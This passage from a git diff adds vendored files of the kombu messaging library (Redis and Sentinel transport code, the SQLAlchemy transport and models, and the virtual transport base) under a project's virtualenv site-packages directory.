'fanout': + # Mark exchange as fanout. + self._fanout_queues[queue] = ( + exchange, routing_key.replace('#', '*'), + ) + with self.conn_or_acquire() as client: + client.sadd(self.keyprefix_queue % (exchange,), + self.sep.join([routing_key or '', + pattern or '', + queue or ''])) + + def _delete(self, queue, exchange, routing_key, pattern, *args, **kwargs): + self.auto_delete_queues.discard(queue) + with self.conn_or_acquire(client=kwargs.get('client')) as client: + client.srem(self.keyprefix_queue % (exchange,), + self.sep.join([routing_key or '', + pattern or '', + queue or ''])) + with client.pipeline() as pipe: + for pri in self.priority_steps: + pipe = pipe.delete(self._q_for_pri(queue, pri)) + pipe.execute() + + def _has_queue(self, queue, **kwargs): + with self.conn_or_acquire() as client: + with client.pipeline() as pipe: + for pri in self.priority_steps: + pipe = pipe.exists(self._q_for_pri(queue, pri)) + return any(pipe.execute()) + + def get_table(self, exchange): + key = self.keyprefix_queue % exchange + with self.conn_or_acquire() as client: + values = client.smembers(key) + if not values: + # table does not exists since all queues bound to the exchange + # were deleted. We need just return empty list. + return [] + return [tuple(bytes_to_str(val).split(self.sep)) for val in values] + + def _purge(self, queue): + with self.conn_or_acquire() as client: + with client.pipeline() as pipe: + for pri in self.priority_steps: + priq = self._q_for_pri(queue, pri) + pipe = pipe.llen(priq).delete(priq) + sizes = pipe.execute() + return sum(sizes[::2]) + + def close(self): + self._closing = True + if not self.closed: + # remove from channel poller. + self.connection.cycle.discard(self) + + # delete fanout bindings + client = self.__dict__.get('client') # only if property cached + if client is not None: + for queue in self._fanout_queues: + if queue in self.auto_delete_queues: + self.queue_delete(queue, client=client) + self._disconnect_pools() + self._close_clients() + super().close() + + def _close_clients(self): + # Close connections + for attr in 'client', 'subclient': + try: + client = self.__dict__[attr] + connection, client.connection = client.connection, None + connection.disconnect() + except (KeyError, AttributeError, self.ResponseError): + pass + + def _prepare_virtual_host(self, vhost): + if not isinstance(vhost, numbers.Integral): + if not vhost or vhost == '/': + vhost = DEFAULT_DB + elif vhost.startswith('/'): + vhost = vhost[1:] + try: + vhost = int(vhost) + except ValueError: + raise ValueError( + 'Database is int between 0 and limit - 1, not {}'.format( + vhost, + )) + return vhost + + def _filter_tcp_connparams(self, socket_keepalive=None, + socket_keepalive_options=None, **params): + return params + + def _connparams(self, asynchronous=False): + conninfo = self.connection.client + connparams = { + 'host': conninfo.hostname or '127.0.0.1', + 'port': conninfo.port or self.connection.default_port, + 'virtual_host': conninfo.virtual_host, + 'username': conninfo.userid, + 'password': conninfo.password, + 'max_connections': self.max_connections, + 'socket_timeout': self.socket_timeout, + 'socket_connect_timeout': self.socket_connect_timeout, + 'socket_keepalive': self.socket_keepalive, + 'socket_keepalive_options': self.socket_keepalive_options, + 'health_check_interval': self.health_check_interval, + 'retry_on_timeout': self.retry_on_timeout, + } + + conn_class = self.connection_class + + # If the connection class does not support the `health_check_interval` + # argument then remove it. + if ( + hasattr(conn_class, '__init__') and + not accepts_argument(conn_class.__init__, 'health_check_interval') + ): + connparams.pop('health_check_interval') + + if conninfo.ssl: + # Connection(ssl={}) must be a dict containing the keys: + # 'ssl_cert_reqs', 'ssl_ca_certs', 'ssl_certfile', 'ssl_keyfile' + try: + connparams.update(conninfo.ssl) + connparams['connection_class'] = self.connection_class_ssl + except TypeError: + pass + host = connparams['host'] + if '://' in host: + scheme, _, _, username, password, path, query = _parse_url(host) + if scheme == 'socket': + connparams = self._filter_tcp_connparams(**connparams) + connparams.update({ + 'connection_class': redis.UnixDomainSocketConnection, + 'path': '/' + path}, **query) + + connparams.pop('socket_connect_timeout', None) + connparams.pop('socket_keepalive', None) + connparams.pop('socket_keepalive_options', None) + connparams['username'] = username + connparams['password'] = password + + connparams.pop('host', None) + connparams.pop('port', None) + connparams['db'] = self._prepare_virtual_host( + connparams.pop('virtual_host', None)) + + channel = self + connection_cls = ( + connparams.get('connection_class') or + self.connection_class + ) + + if asynchronous: + class Connection(connection_cls): + def disconnect(self): + super().disconnect() + channel._on_connection_disconnect(self) + connection_cls = Connection + + connparams['connection_class'] = connection_cls + + return connparams + + def _create_client(self, asynchronous=False): + if asynchronous: + return self.Client(connection_pool=self.async_pool) + return self.Client(connection_pool=self.pool) + + def _get_pool(self, asynchronous=False): + params = self._connparams(asynchronous=asynchronous) + self.keyprefix_fanout = self.keyprefix_fanout.format(db=params['db']) + return redis.ConnectionPool(**params) + + def _get_client(self): + if redis.VERSION < (3, 2, 0): + raise VersionMismatch( + 'Redis transport requires redis-py versions 3.2.0 or later. ' + 'You have {0.__version__}'.format(redis)) + + if self.global_keyprefix: + return functools.partial( + PrefixedStrictRedis, + global_keyprefix=self.global_keyprefix, + ) + + return redis.StrictRedis + + @contextmanager + def conn_or_acquire(self, client=None): + if client: + yield client + else: + yield self._create_client() + + @property + def pool(self): + if self._pool is None: + self._pool = self._get_pool() + return self._pool + + @property + def async_pool(self): + if self._async_pool is None: + self._async_pool = self._get_pool(asynchronous=True) + return self._async_pool + + @cached_property + def client(self): + """Client used to publish messages, BRPOP etc.""" + return self._create_client(asynchronous=True) + + @cached_property + def subclient(self): + """Pub/Sub connection used to consume fanout queues.""" + client = self._create_client(asynchronous=True) + return client.pubsub() + + def _update_queue_cycle(self): + self._queue_cycle.update(self.active_queues) + + def _get_response_error(self): + from redis import exceptions + return exceptions.ResponseError + + @property + def active_queues(self): + """Set of queues being consumed from (excluding fanout queues).""" + return {queue for queue in self._active_queues + if queue not in self.active_fanout_queues} + + +class Transport(virtual.Transport): + """Redis Transport.""" + + Channel = Channel + + polling_interval = None # disable sleep between unsuccessful polls. + default_port = DEFAULT_PORT + driver_type = 'redis' + driver_name = 'redis' + + implements = virtual.Transport.implements.extend( + asynchronous=True, + exchange_type=frozenset(['direct', 'topic', 'fanout']) + ) + + if redis: + connection_errors, channel_errors = get_redis_error_classes() + + def __init__(self, *args, **kwargs): + if redis is None: + raise ImportError('Missing redis library (pip install redis)') + super().__init__(*args, **kwargs) + + # All channels share the same poller. + self.cycle = MultiChannelPoller() + + def driver_version(self): + return redis.__version__ + + def register_with_event_loop(self, connection, loop): + cycle = self.cycle + cycle.on_poll_init(loop.poller) + cycle_poll_start = cycle.on_poll_start + add_reader = loop.add_reader + on_readable = self.on_readable + + def _on_disconnect(connection): + if connection._sock: + loop.remove(connection._sock) + + # must have started polling or this will break reconnection + if cycle.fds: + # stop polling in the event loop + try: + loop.on_tick.remove(on_poll_start) + except KeyError: + pass + cycle._on_connection_disconnect = _on_disconnect + + def on_poll_start(): + cycle_poll_start() + [add_reader(fd, on_readable, fd) for fd in cycle.fds] + loop.on_tick.add(on_poll_start) + loop.call_repeatedly(10, cycle.maybe_restore_messages) + health_check_interval = connection.client.transport_options.get( + 'health_check_interval', + DEFAULT_HEALTH_CHECK_INTERVAL + ) + loop.call_repeatedly( + health_check_interval, + cycle.maybe_check_subclient_health + ) + + def on_readable(self, fileno): + """Handle AIO event for one of our file descriptors.""" + self.cycle.on_readable(fileno) + + +if sentinel: + class SentinelManagedSSLConnection( + sentinel.SentinelManagedConnection, + redis.SSLConnection): + """Connect to a Redis server using Sentinel + TLS. + + Use Sentinel to identify which Redis server is the current master + to connect to and when connecting to the Master server, use an + SSL Connection. + """ + + pass + + +class SentinelChannel(Channel): + """Channel with explicit Redis Sentinel knowledge. + + Broker url is supposed to look like: + + .. code-block:: + + sentinel://0.0.0.0:26379;sentinel://0.0.0.0:26380/... + + where each sentinel is separated by a `;`. + + Other arguments for the sentinel should come from the transport options + (see `transport_options` of :class:`~kombu.connection.Connection`). + + You must provide at least one option in Transport options: + * `master_name` - name of the redis group to poll + + Example: + + .. code-block:: python + + >>> import kombu + >>> c = kombu.Connection( + 'sentinel://sentinel1:26379;sentinel://sentinel2:26379', + transport_options={'master_name': 'mymaster'} + ) + >>> c.connect() + """ + + from_transport_options = Channel.from_transport_options + ( + 'master_name', + 'min_other_sentinels', + 'sentinel_kwargs') + + connection_class = sentinel.SentinelManagedConnection if sentinel else None + connection_class_ssl = SentinelManagedSSLConnection if sentinel else None + + def _sentinel_managed_pool(self, asynchronous=False): + connparams = self._connparams(asynchronous) + + additional_params = connparams.copy() + + additional_params.pop('host', None) + additional_params.pop('port', None) + + sentinels = [] + for url in self.connection.client.alt: + url = _parse_url(url) + if url.scheme == 'sentinel': + port = url.port or self.connection.default_port + sentinels.append((url.hostname, port)) + + # Fallback for when only one sentinel is provided. + if not sentinels: + sentinels.append((connparams['host'], connparams['port'])) + + sentinel_inst = sentinel.Sentinel( + sentinels, + min_other_sentinels=getattr(self, 'min_other_sentinels', 0), + sentinel_kwargs=getattr(self, 'sentinel_kwargs', None), + **additional_params) + + master_name = getattr(self, 'master_name', None) + + if master_name is None: + raise ValueError( + "'master_name' transport option must be specified." + ) + + return sentinel_inst.master_for( + master_name, + self.Client, + ).connection_pool + + def _get_pool(self, asynchronous=False): + return self._sentinel_managed_pool(asynchronous) + + +class SentinelTransport(Transport): + """Redis Sentinel Transport.""" + + default_port = 26379 + Channel = SentinelChannel diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/sqlalchemy/__init__.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/sqlalchemy/__init__.py new file mode 100644 index 00000000..91f87a86 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/sqlalchemy/__init__.py @@ -0,0 +1,242 @@ +"""SQLAlchemy Transport module for kombu. + +Kombu transport using SQL Database as the message store. + +Features +======== +* Type: Virtual +* Supports Direct: yes +* Supports Topic: yes +* Supports Fanout: no +* Supports Priority: no +* Supports TTL: no + +Connection String +================= + +.. code-block:: + + sqla+SQL_ALCHEMY_CONNECTION_STRING + sqlalchemy+SQL_ALCHEMY_CONNECTION_STRING + +For details about ``SQL_ALCHEMY_CONNECTION_STRING`` see SQLAlchemy Engine Configuration documentation. +Examples: + +.. code-block:: + + # PostgreSQL with default driver + sqla+postgresql://scott:tiger@localhost/mydatabase + + # PostgreSQL with psycopg2 driver + sqla+postgresql+psycopg2://scott:tiger@localhost/mydatabase + + # PostgreSQL with pg8000 driver + sqla+postgresql+pg8000://scott:tiger@localhost/mydatabase + + # MySQL with default driver + sqla+mysql://scott:tiger@localhost/foo + + # MySQL with mysqlclient driver (a maintained fork of MySQL-Python) + sqla+mysql+mysqldb://scott:tiger@localhost/foo + + # MySQL with PyMySQL driver + sqla+mysql+pymysql://scott:tiger@localhost/foo + +Transport Options +================= + +* ``queue_tablename``: Name of table storing queues. +* ``message_tablename``: Name of table storing messages. + +Moreover parameters of :func:`sqlalchemy.create_engine()` function can be passed as transport options. +""" +# SQLAlchemy overrides != False to have special meaning and pep8 complains +# flake8: noqa + + +import threading +from json import dumps, loads +from queue import Empty + +from sqlalchemy import create_engine +from sqlalchemy.exc import OperationalError +from sqlalchemy.orm import sessionmaker + +from kombu.transport import virtual +from kombu.utils import cached_property +from kombu.utils.encoding import bytes_to_str + +from .models import Message as MessageBase +from .models import ModelBase +from .models import Queue as QueueBase +from .models import class_registry, metadata + +VERSION = (1, 4, 1) +__version__ = '.'.join(map(str, VERSION)) + +_MUTEX = threading.RLock() + + +class Channel(virtual.Channel): + """The channel class.""" + + _session = None + _engines = {} # engine cache + + def __init__(self, connection, **kwargs): + self._configure_entity_tablenames(connection.client.transport_options) + super().__init__(connection, **kwargs) + + def _configure_entity_tablenames(self, opts): + self.queue_tablename = opts.get('queue_tablename', 'kombu_queue') + self.message_tablename = opts.get('message_tablename', 'kombu_message') + + # + # Define the model definitions. This registers the declarative + # classes with the active SQLAlchemy metadata object. This *must* be + # done prior to the ``create_engine`` call. + # + self.queue_cls and self.message_cls + + def _engine_from_config(self): + conninfo = self.connection.client + transport_options = conninfo.transport_options.copy() + transport_options.pop('queue_tablename', None) + transport_options.pop('message_tablename', None) + return create_engine(conninfo.hostname, **transport_options) + + def _open(self): + conninfo = self.connection.client + if conninfo.hostname not in self._engines: + with _MUTEX: + if conninfo.hostname in self._engines: + # Engine was created while we were waiting to + # acquire the lock. + return self._engines[conninfo.hostname] + + engine = self._engine_from_config() + Session = sessionmaker(bind=engine) + metadata.create_all(engine) + self._engines[conninfo.hostname] = engine, Session + + return self._engines[conninfo.hostname] + + @property + def session(self): + if self._session is None: + _, Session = self._open() + self._session = Session() + return self._session + + def _get_or_create(self, queue): + obj = self.session.query(self.queue_cls) \ + .filter(self.queue_cls.name == queue).first() + if not obj: + with _MUTEX: + obj = self.session.query(self.queue_cls) \ + .filter(self.queue_cls.name == queue).first() + if obj: + # Queue was created while we were waiting to + # acquire the lock. + return obj + + obj = self.queue_cls(queue) + self.session.add(obj) + try: + self.session.commit() + except OperationalError: + self.session.rollback() + + return obj + + def _new_queue(self, queue, **kwargs): + self._get_or_create(queue) + + def _put(self, queue, payload, **kwargs): + obj = self._get_or_create(queue) + message = self.message_cls(dumps(payload), obj) + self.session.add(message) + try: + self.session.commit() + except OperationalError: + self.session.rollback() + + def _get(self, queue): + obj = self._get_or_create(queue) + if self.session.bind.name == 'sqlite': + self.session.execute('BEGIN IMMEDIATE TRANSACTION') + try: + msg = self.session.query(self.message_cls) \ + .with_for_update() \ + .filter(self.message_cls.queue_id == obj.id) \ + .filter(self.message_cls.visible != False) \ + .order_by(self.message_cls.sent_at) \ + .order_by(self.message_cls.id) \ + .limit(1) \ + .first() + if msg: + msg.visible = False + return loads(bytes_to_str(msg.payload)) + raise Empty() + finally: + self.session.commit() + + def _query_all(self, queue): + obj = self._get_or_create(queue) + return self.session.query(self.message_cls) \ + .filter(self.message_cls.queue_id == obj.id) + + def _purge(self, queue): + count = self._query_all(queue).delete(synchronize_session=False) + try: + self.session.commit() + except OperationalError: + self.session.rollback() + return count + + def _size(self, queue): + return self._query_all(queue).count() + + def _declarative_cls(self, name, base, ns): + if name not in class_registry: + with _MUTEX: + if name in class_registry: + # Class was registered while we were waiting to + # acquire the lock. + return class_registry[name] + + return type(str(name), (base, ModelBase), ns) + + return class_registry[name] + + @cached_property + def queue_cls(self): + return self._declarative_cls( + 'Queue', + QueueBase, + {'__tablename__': self.queue_tablename} + ) + + @cached_property + def message_cls(self): + return self._declarative_cls( + 'Message', + MessageBase, + {'__tablename__': self.message_tablename} + ) + + +class Transport(virtual.Transport): + """The transport class.""" + + Channel = Channel + + can_parse_url = True + default_port = 0 + driver_type = 'sql' + driver_name = 'sqlalchemy' + connection_errors = (OperationalError, ) + + def driver_version(self): + import sqlalchemy + return sqlalchemy.__version__ diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/sqlalchemy/models.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/sqlalchemy/models.py new file mode 100644 index 00000000..45863852 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/sqlalchemy/models.py @@ -0,0 +1,74 @@ +"""Kombu transport using SQLAlchemy as the message store.""" + +import datetime + +from sqlalchemy import (Boolean, Column, DateTime, ForeignKey, Index, Integer, + Sequence, SmallInteger, String, Text) +from sqlalchemy.orm import relation +from sqlalchemy.schema import MetaData + +try: + from sqlalchemy.orm import declarative_base, declared_attr +except ImportError: + # TODO: Remove this once we drop support for SQLAlchemy < 1.4. + from sqlalchemy.ext.declarative import declarative_base, declared_attr + +class_registry = {} +metadata = MetaData() +ModelBase = declarative_base(metadata=metadata, class_registry=class_registry) + + +class Queue: + """The queue class.""" + + __table_args__ = {'sqlite_autoincrement': True, 'mysql_engine': 'InnoDB'} + + id = Column(Integer, Sequence('queue_id_sequence'), primary_key=True, + autoincrement=True) + name = Column(String(200), unique=True) + + def __init__(self, name): + self.name = name + + def __str__(self): + return f'' + + @declared_attr + def messages(cls): + return relation('Message', backref='queue', lazy='noload') + + +class Message: + """The message class.""" + + __table_args__ = ( + Index('ix_kombu_message_timestamp_id', 'timestamp', 'id'), + {'sqlite_autoincrement': True, 'mysql_engine': 'InnoDB'} + ) + + id = Column(Integer, Sequence('message_id_sequence'), + primary_key=True, autoincrement=True) + visible = Column(Boolean, default=True, index=True) + sent_at = Column('timestamp', DateTime, nullable=True, index=True, + onupdate=datetime.datetime.now) + payload = Column(Text, nullable=False) + version = Column(SmallInteger, nullable=False, default=1) + + __mapper_args__ = {'version_id_col': version} + + def __init__(self, payload, queue): + self.payload = payload + self.queue = queue + + def __str__(self): + return ''.format(self) + + @declared_attr + def queue_id(self): + return Column( + Integer, + ForeignKey( + '%s.id' % class_registry['Queue'].__tablename__, + name='FK_kombu_message_queue' + ) + ) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/virtual/__init__.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/virtual/__init__.py new file mode 100644 index 00000000..7ab11772 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/virtual/__init__.py @@ -0,0 +1,9 @@ +from .base import (AbstractChannel, Base64, BrokerState, Channel, Empty, + Management, Message, NotEquivalentError, QoS, Transport, + UndeliverableWarning, binding_key_t, queue_binding_t) + +__all__ = ( + 'Base64', 'NotEquivalentError', 'UndeliverableWarning', 'BrokerState', + 'QoS', 'Message', 'AbstractChannel', 'Channel', 'Management', 'Transport', + 'Empty', 'binding_key_t', 'queue_binding_t', +) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/virtual/base.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/virtual/base.py new file mode 100644 index 00000000..1e18caa6 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/virtual/base.py @@ -0,0 +1,1013 @@ +"""Virtual transport implementation. + +Emulates the AMQ API for non-AMQ transports. +""" + +import base64 +import socket +import sys +import warnings +from array import array +from collections import OrderedDict, defaultdict, namedtuple +from itertools import count +from multiprocessing.util import Finalize +from queue import Empty +from time import monotonic, sleep + +from amqp.protocol import queue_declare_ok_t + +from kombu.exceptions import ChannelError, ResourceError +from kombu.log import get_logger +from kombu.transport import base +from kombu.utils.div import emergency_dump_state +from kombu.utils.encoding import bytes_to_str, str_to_bytes +from kombu.utils.scheduling import FairCycle +from kombu.utils.uuid import uuid + +from .exchange import STANDARD_EXCHANGE_TYPES + +ARRAY_TYPE_H = 'H' + +UNDELIVERABLE_FMT = """\ +Message could not be delivered: No queues bound to exchange {exchange!r} \ +using binding key {routing_key!r}. +""" + +NOT_EQUIVALENT_FMT = """\ +Cannot redeclare exchange {0!r} in vhost {1!r} with \ +different type, durable, autodelete or arguments value.\ +""" + +W_NO_CONSUMERS = """\ +Requeuing undeliverable message for queue %r: No consumers.\ +""" + +RESTORING_FMT = 'Restoring {0!r} unacknowledged message(s)' +RESTORE_PANIC_FMT = 'UNABLE TO RESTORE {0} MESSAGES: {1}' + +logger = get_logger(__name__) + +#: Key format used for queue argument lookups in BrokerState.bindings. +binding_key_t = namedtuple('binding_key_t', ( + 'queue', 'exchange', 'routing_key', +)) + +#: BrokerState.queue_bindings generates tuples in this format. +queue_binding_t = namedtuple('queue_binding_t', ( + 'exchange', 'routing_key', 'arguments', +)) + + +class Base64: + """Base64 codec.""" + + def encode(self, s): + return bytes_to_str(base64.b64encode(str_to_bytes(s))) + + def decode(self, s): + return base64.b64decode(str_to_bytes(s)) + + +class NotEquivalentError(Exception): + """Entity declaration is not equivalent to the previous declaration.""" + + +class UndeliverableWarning(UserWarning): + """The message could not be delivered to a queue.""" + + +class BrokerState: + """Broker state holds exchanges, queues and bindings.""" + + #: Mapping of exchange name to + #: :class:`kombu.transport.virtual.exchange.ExchangeType` + exchanges = None + + #: This is the actual bindings registry, used to store bindings and to + #: test 'in' relationships in constant time. It has the following + #: structure:: + #: + #: { + #: (queue, exchange, routing_key): arguments, + #: # ..., + #: } + bindings = None + + #: The queue index is used to access directly (constant time) + #: all the bindings of a certain queue. It has the following structure:: + #: + #: { + #: queue: { + #: (queue, exchange, routing_key), + #: # ..., + #: }, + #: # ..., + #: } + queue_index = None + + def __init__(self, exchanges=None): + self.exchanges = {} if exchanges is None else exchanges + self.bindings = {} + self.queue_index = defaultdict(set) + + def clear(self): + self.exchanges.clear() + self.bindings.clear() + self.queue_index.clear() + + def has_binding(self, queue, exchange, routing_key): + return (queue, exchange, routing_key) in self.bindings + + def binding_declare(self, queue, exchange, routing_key, arguments): + key = binding_key_t(queue, exchange, routing_key) + self.bindings.setdefault(key, arguments) + self.queue_index[queue].add(key) + + def binding_delete(self, queue, exchange, routing_key): + key = binding_key_t(queue, exchange, routing_key) + try: + del self.bindings[key] + except KeyError: + pass + else: + self.queue_index[queue].remove(key) + + def queue_bindings_delete(self, queue): + try: + bindings = self.queue_index.pop(queue) + except KeyError: + pass + else: + [self.bindings.pop(binding, None) for binding in bindings] + + def queue_bindings(self, queue): + return ( + queue_binding_t(key.exchange, key.routing_key, self.bindings[key]) + for key in self.queue_index[queue] + ) + + +class QoS: + """Quality of Service guarantees. + + Only supports `prefetch_count` at this point. + + Arguments: + channel (ChannelT): Connection channel. + prefetch_count (int): Initial prefetch count (defaults to 0). + """ + + #: current prefetch count value + prefetch_count = 0 + + #: :class:`~collections.OrderedDict` of active messages. + #: *NOTE*: Can only be modified by the consuming thread. + _delivered = None + + #: acks can be done by other threads than the consuming thread. + #: Instead of a mutex, which doesn't perform well here, we mark + #: the delivery tags as dirty, so subsequent calls to append() can remove + #: them. + _dirty = None + + #: If disabled, unacked messages won't be restored at shutdown. + restore_at_shutdown = True + + def __init__(self, channel, prefetch_count=0): + self.channel = channel + self.prefetch_count = prefetch_count or 0 + + # Standard Python dictionaries do not support setting attributes + # on the object, hence the use of OrderedDict + self._delivered = OrderedDict() + self._delivered.restored = False + self._dirty = set() + self._quick_ack = self._dirty.add + self._quick_append = self._delivered.__setitem__ + self._on_collect = Finalize( + self, self.restore_unacked_once, exitpriority=1, + ) + + def can_consume(self): + """Return true if the channel can be consumed from. + + Used to ensure the client adhers to currently active + prefetch limits. + """ + pcount = self.prefetch_count + return not pcount or len(self._delivered) - len(self._dirty) < pcount + + def can_consume_max_estimate(self): + """Return the maximum number of messages allowed to be returned. + + Returns an estimated number of messages that a consumer may be allowed + to consume at once from the broker. This is used for services where + bulk 'get message' calls are preferred to many individual 'get message' + calls - like SQS. + + Returns: + int: greater than zero. + """ + pcount = self.prefetch_count + if pcount: + return max(pcount - (len(self._delivered) - len(self._dirty)), 0) + + def append(self, message, delivery_tag): + """Append message to transactional state.""" + if self._dirty: + self._flush() + self._quick_append(delivery_tag, message) + + def get(self, delivery_tag): + return self._delivered[delivery_tag] + + def _flush(self): + """Flush dirty (acked/rejected) tags from.""" + dirty = self._dirty + delivered = self._delivered + while 1: + try: + dirty_tag = dirty.pop() + except KeyError: + break + delivered.pop(dirty_tag, None) + + def ack(self, delivery_tag): + """Acknowledge message and remove from transactional state.""" + self._quick_ack(delivery_tag) + + def reject(self, delivery_tag, requeue=False): + """Remove from transactional state and requeue message.""" + if requeue: + self.channel._restore_at_beginning(self._delivered[delivery_tag]) + self._quick_ack(delivery_tag) + + def restore_unacked(self): + """Restore all unacknowledged messages.""" + self._flush() + delivered = self._delivered + errors = [] + restore = self.channel._restore + pop_message = delivered.popitem + + while delivered: + try: + _, message = pop_message() + except KeyError: # pragma: no cover + break + + try: + restore(message) + except BaseException as exc: + errors.append((exc, message)) + delivered.clear() + return errors + + def restore_unacked_once(self, stderr=None): + """Restore all unacknowledged messages at shutdown/gc collect. + + Note: + Can only be called once for each instance, subsequent + calls will be ignored. + """ + self._on_collect.cancel() + self._flush() + stderr = sys.stderr if stderr is None else stderr + state = self._delivered + + if not self.restore_at_shutdown or not self.channel.do_restore: + return + if getattr(state, 'restored', None): + assert not state + return + try: + if state: + print(RESTORING_FMT.format(len(self._delivered)), + file=stderr) + unrestored = self.restore_unacked() + + if unrestored: + errors, messages = list(zip(*unrestored)) + print(RESTORE_PANIC_FMT.format(len(errors), errors), + file=stderr) + emergency_dump_state(messages, stderr=stderr) + finally: + state.restored = True + + def restore_visible(self, *args, **kwargs): + """Restore any pending unackwnowledged messages. + + To be filled in for visibility_timeout style implementations. + + Note: + This is implementation optional, and currently only + used by the Redis transport. + """ + + +class Message(base.Message): + """Message object.""" + + def __init__(self, payload, channel=None, **kwargs): + self._raw = payload + properties = payload['properties'] + body = payload.get('body') + if body: + body = channel.decode_body(body, properties.get('body_encoding')) + super().__init__( + body=body, + channel=channel, + delivery_tag=properties['delivery_tag'], + content_type=payload.get('content-type'), + content_encoding=payload.get('content-encoding'), + headers=payload.get('headers'), + properties=properties, + delivery_info=properties.get('delivery_info'), + postencode='utf-8', + **kwargs) + + def serializable(self): + props = self.properties + body, _ = self.channel.encode_body(self.body, + props.get('body_encoding')) + headers = dict(self.headers) + # remove compression header + headers.pop('compression', None) + return { + 'body': body, + 'properties': props, + 'content-type': self.content_type, + 'content-encoding': self.content_encoding, + 'headers': headers, + } + + +class AbstractChannel: + """Abstract channel interface. + + This is an abstract class defining the channel methods + you'd usually want to implement in a virtual channel. + + Note: + Do not subclass directly, but rather inherit + from :class:`Channel`. + """ + + def _get(self, queue, timeout=None): + """Get next message from `queue`.""" + raise NotImplementedError('Virtual channels must implement _get') + + def _put(self, queue, message): + """Put `message` onto `queue`.""" + raise NotImplementedError('Virtual channels must implement _put') + + def _purge(self, queue): + """Remove all messages from `queue`.""" + raise NotImplementedError('Virtual channels must implement _purge') + + def _size(self, queue): + """Return the number of messages in `queue` as an :class:`int`.""" + return 0 + + def _delete(self, queue, *args, **kwargs): + """Delete `queue`. + + Note: + This just purges the queue, if you need to do more you can + override this method. + """ + self._purge(queue) + + def _new_queue(self, queue, **kwargs): + """Create new queue. + + Note: + Your transport can override this method if it needs + to do something whenever a new queue is declared. + """ + + def _has_queue(self, queue, **kwargs): + """Verify that queue exists. + + Returns: + bool: Should return :const:`True` if the queue exists + or :const:`False` otherwise. + """ + return True + + def _poll(self, cycle, callback, timeout=None): + """Poll a list of queues for available messages.""" + return cycle.get(callback) + + def _get_and_deliver(self, queue, callback): + message = self._get(queue) + callback(message, queue) + + +class Channel(AbstractChannel, base.StdChannel): + """Virtual channel. + + Arguments: + connection (ConnectionT): The transport instance this + channel is part of. + """ + + #: message class used. + Message = Message + + #: QoS class used. + QoS = QoS + + #: flag to restore unacked messages when channel + #: goes out of scope. + do_restore = True + + #: mapping of exchange types and corresponding classes. + exchange_types = dict(STANDARD_EXCHANGE_TYPES) + + #: flag set if the channel supports fanout exchanges. + supports_fanout = False + + #: Binary <-> ASCII codecs. + codecs = {'base64': Base64()} + + #: Default body encoding. + #: NOTE: ``transport_options['body_encoding']`` will override this value. + body_encoding = 'base64' + + #: counter used to generate delivery tags for this channel. + _delivery_tags = count(1) + + #: Optional queue where messages with no route is delivered. + #: Set by ``transport_options['deadletter_queue']``. + deadletter_queue = None + + # List of options to transfer from :attr:`transport_options`. + from_transport_options = ('body_encoding', 'deadletter_queue') + + # Priority defaults + default_priority = 0 + min_priority = 0 + max_priority = 9 + + def __init__(self, connection, **kwargs): + self.connection = connection + self._consumers = set() + self._cycle = None + self._tag_to_queue = {} + self._active_queues = [] + self._qos = None + self.closed = False + + # instantiate exchange types + self.exchange_types = { + typ: cls(self) for typ, cls in self.exchange_types.items() + } + + self.channel_id = self._get_free_channel_id() + + topts = self.connection.client.transport_options + for opt_name in self.from_transport_options: + try: + setattr(self, opt_name, topts[opt_name]) + except KeyError: + pass + + def exchange_declare(self, exchange=None, type='direct', durable=False, + auto_delete=False, arguments=None, + nowait=False, passive=False): + """Declare exchange.""" + type = type or 'direct' + exchange = exchange or 'amq.%s' % type + if passive: + if exchange not in self.state.exchanges: + raise ChannelError( + 'NOT_FOUND - no exchange {!r} in vhost {!r}'.format( + exchange, self.connection.client.virtual_host or '/'), + (50, 10), 'Channel.exchange_declare', '404', + ) + return + try: + prev = self.state.exchanges[exchange] + if not self.typeof(exchange).equivalent(prev, exchange, type, + durable, auto_delete, + arguments): + raise NotEquivalentError(NOT_EQUIVALENT_FMT.format( + exchange, self.connection.client.virtual_host or '/')) + except KeyError: + self.state.exchanges[exchange] = { + 'type': type, + 'durable': durable, + 'auto_delete': auto_delete, + 'arguments': arguments or {}, + 'table': [], + } + + def exchange_delete(self, exchange, if_unused=False, nowait=False): + """Delete `exchange` and all its bindings.""" + for rkey, _, queue in self.get_table(exchange): + self.queue_delete(queue, if_unused=True, if_empty=True) + self.state.exchanges.pop(exchange, None) + + def queue_declare(self, queue=None, passive=False, **kwargs): + """Declare queue.""" + queue = queue or 'amq.gen-%s' % uuid() + if passive and not self._has_queue(queue, **kwargs): + raise ChannelError( + 'NOT_FOUND - no queue {!r} in vhost {!r}'.format( + queue, self.connection.client.virtual_host or '/'), + (50, 10), 'Channel.queue_declare', '404', + ) + else: + self._new_queue(queue, **kwargs) + return queue_declare_ok_t(queue, self._size(queue), 0) + + def queue_delete(self, queue, if_unused=False, if_empty=False, **kwargs): + """Delete queue.""" + if if_empty and self._size(queue): + return + for exchange, routing_key, args in self.state.queue_bindings(queue): + meta = self.typeof(exchange).prepare_bind( + queue, exchange, routing_key, args, + ) + self._delete(queue, exchange, *meta, **kwargs) + self.state.queue_bindings_delete(queue) + + def after_reply_message_received(self, queue): + self.queue_delete(queue) + + def exchange_bind(self, destination, source='', routing_key='', + nowait=False, arguments=None): + raise NotImplementedError('transport does not support exchange_bind') + + def exchange_unbind(self, destination, source='', routing_key='', + nowait=False, arguments=None): + raise NotImplementedError('transport does not support exchange_unbind') + + def queue_bind(self, queue, exchange=None, routing_key='', + arguments=None, **kwargs): + """Bind `queue` to `exchange` with `routing key`.""" + exchange = exchange or 'amq.direct' + if self.state.has_binding(queue, exchange, routing_key): + return + # Add binding: + self.state.binding_declare(queue, exchange, routing_key, arguments) + # Update exchange's routing table: + table = self.state.exchanges[exchange].setdefault('table', []) + meta = self.typeof(exchange).prepare_bind( + queue, exchange, routing_key, arguments, + ) + table.append(meta) + if 